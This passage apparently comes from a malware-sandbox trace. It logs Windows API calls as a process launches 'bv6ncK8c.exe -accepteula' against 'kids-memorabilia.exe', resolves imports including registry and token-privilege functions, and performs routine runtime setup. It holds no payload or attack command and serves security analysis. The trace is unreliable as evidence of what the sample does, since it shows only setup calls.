lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f6ac | out: lpCommandLine="bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner", lpProcessInformation=0x36f6ac*(hProcess=0x78, hThread=0x74, dwProcessId=0xd94, dwThreadId=0xd98)) returned 1 [0094.403] CloseHandle (hObject=0x74) returned 1 [0094.403] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0094.403] GetProcessHeap () returned 0x7b0000 [0094.404] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c2db0 | out: hHeap=0x7b0000) returned 1 [0094.404] GetEnvironmentStringsW () returned 0x7c2ba8* [0094.404] GetProcessHeap () returned 0x7b0000 [0094.404] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb90) returned 0x7c7508 [0094.404] FreeEnvironmentStringsW (penv=0x7c2ba8) returned 1 [0094.404] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0095.754] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x36f5a0 | out: lpExitCode=0x36f5a0*=0x1) returned 1 [0095.754] CloseHandle (hObject=0x78) returned 1 [0095.754] _vsnwprintf (in: _Buffer=0x36f6e8, _BufferCount=0x13, _Format="%08X", _ArgList=0x36f5ac | out: _Buffer="00000001") returned 8 [0095.754] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0095.754] GetProcessHeap () returned 0x7b0000 [0095.754] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c7508 | out: hHeap=0x7b0000) returned 1 [0095.754] GetEnvironmentStringsW () returned 0x7c2ba8* [0095.754] GetProcessHeap () returned 0x7b0000 [0095.754] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb90) returned 0x7c7508 [0095.755] FreeEnvironmentStringsW (penv=0x7c2ba8) returned 1 [0095.755] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0095.755] GetProcessHeap () returned 0x7b0000 [0095.755] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c7508 | out: hHeap=0x7b0000) returned 1 [0095.755] GetEnvironmentStringsW () returned 0x7c2ba8* [0095.755] GetProcessHeap () returned 0x7b0000 [0095.755] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb90) returned 0x7c7508 [0095.755] FreeEnvironmentStringsW (penv=0x7c2ba8) returned 1 [0095.755] GetProcessHeap () returned 0x7b0000 [0095.755] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c00f8 | out: hHeap=0x7b0000) returned 1 [0095.755] DeleteProcThreadAttributeList (in: lpAttributeList=0x36f604 | out: lpAttributeList=0x36f604) [0095.755] _get_osfhandle (_FileHandle=1) returned 0x80 [0095.755] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0095.755] _get_osfhandle (_FileHandle=1) returned 0x80 [0095.755] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0095.755] _get_osfhandle (_FileHandle=0) returned 0x3 [0095.755] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0095.755] SetConsoleInputExeNameW () returned 0x1 [0095.755] GetConsoleOutputCP () returned 0x1b5 [0095.756] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0095.756] SetThreadUILanguage (LangId=0x0) returned 0x409 [0095.756] exit (_Code=1) Process: id = "173" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x217a000" os_pid = "0xd94" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "172" os_parent_pid = "0xd8c" cmd_line = "bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 735 os_tid = 0xd98 [0095.075] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0095.075] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0095.076] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0095.077] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0095.078] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0095.079] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0095.080] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0095.081] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0095.081] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0095.081] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0095.081] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0095.081] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0095.081] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0095.081] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0095.081] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0095.081] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0095.081] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0095.081] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0095.081] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0095.081] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0095.081] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0095.082] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0095.082] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0095.082] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0095.082] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0095.082] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0095.082] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0095.082] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0095.082] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0095.082] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0095.082] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0095.082] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0095.321] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0095.321] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0095.321] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0095.321] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0095.321] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0095.321] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0095.321] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0095.321] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0095.321] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0095.321] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0095.322] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0095.322] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0095.322] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0095.322] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0095.322] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0095.322] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0095.322] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0095.322] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0095.322] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0095.323] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0095.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xdc55d0e0, dwHighDateTime=0x1d5d06a)) [0095.323] GetCurrentThreadId () returned 0xd98 [0095.323] GetCurrentProcessId () returned 0xd94 [0095.323] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=23727504390) returned 1 [0095.323] GetProcessHeap () returned 0x2d0000 [0095.323] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0095.324] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0095.325] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0095.326] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0095.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3bc) returned 0x2e70b8 [0095.327] GetCurrentThreadId () returned 0xd98 [0095.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2e7480 [0095.327] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x800) returned 0x2e74a0 [0095.327] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x5bc4fc39, hStdError=0x0)) [0095.327] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0095.327] GetFileType (hFile=0x3) returned 0x2 [0095.328] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0095.328] GetFileType (hFile=0x80) returned 0x3 [0095.328] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0095.328] GetFileType (hFile=0xb) returned 0x2 [0095.328] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner" [0095.328] GetEnvironmentStringsW () returned 0x2e7ca8* [0095.328] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0xb90) returned 0x2e8840 [0095.328] FreeEnvironmentStringsW (penv=0x2e7ca8) returned 1 [0095.329] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x84) returned 0x2e7ca8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa0) returned 0x2e7d38 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3e) returned 0x2e4de8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x6c) returned 0x2e7de0 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x6e) returned 0x2e7e58 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x78) returned 0x2df918 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x62) returned 0x2e7ed0 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2e) returned 0x2e7f40 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x48) returned 0x2e7f78 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x34) returned 0x2e7fc8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x28) returned 0x2e8008 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1a) returned 0x2e6a88 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x4a) returned 0x2e8038 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x72) returned 0x2df998 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x30) returned 0x2e8090 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2e) returned 0x2e80c8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1c) returned 0x2e6ab0 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xd2) returned 0x2e8100 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x7c) returned 0x2e81e0 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x36) returned 0x2e8268 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3a) returned 0x2e4e30 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x90) returned 0x2e82a8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x24) returned 0x2e8340 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x30) returned 0x2e8370 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x36) returned 0x2e83a8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x48) returned 0x2e83e8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x52) returned 0x2e8438 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3c) returned 0x2e4e78 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18) returned 0x2e8498 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x82) returned 0x2e84b8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2e) returned 0x2e8548 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1e) returned 0x2e6ad8 [0095.329] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2c) returned 0x2e8580 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x54) returned 0x2e85b8 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x52) returned 0x2e8618 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2a) returned 0x2e8678 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3c) returned 0x2e4ec0 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x54) returned 0x2e86b0 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x24) returned 0x2e8710 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x30) returned 0x2e8740 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x8c) returned 0x2e8778 [0095.330] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e8840 | out: hHeap=0x2d0000) returned 1 [0095.330] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x800) returned 0x2e8810 [0095.330] GetLastError () returned 0x0 [0095.330] SetLastError (dwErrCode=0x0) [0095.330] GetLastError () returned 0x0 [0095.330] SetLastError (dwErrCode=0x0) [0095.331] GetLastError () returned 0x0 [0095.331] SetLastError (dwErrCode=0x0) [0095.331] GetACP () returned 0x4e4 [0095.331] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x220) returned 0x2e9018 [0095.331] GetLastError () returned 0x0 [0095.331] SetLastError (dwErrCode=0x0) [0095.331] IsValidCodePage (CodePage=0x4e4) returned 1 [0095.331] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0095.331] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0095.331] GetLastError () returned 0x0 [0095.331] SetLastError 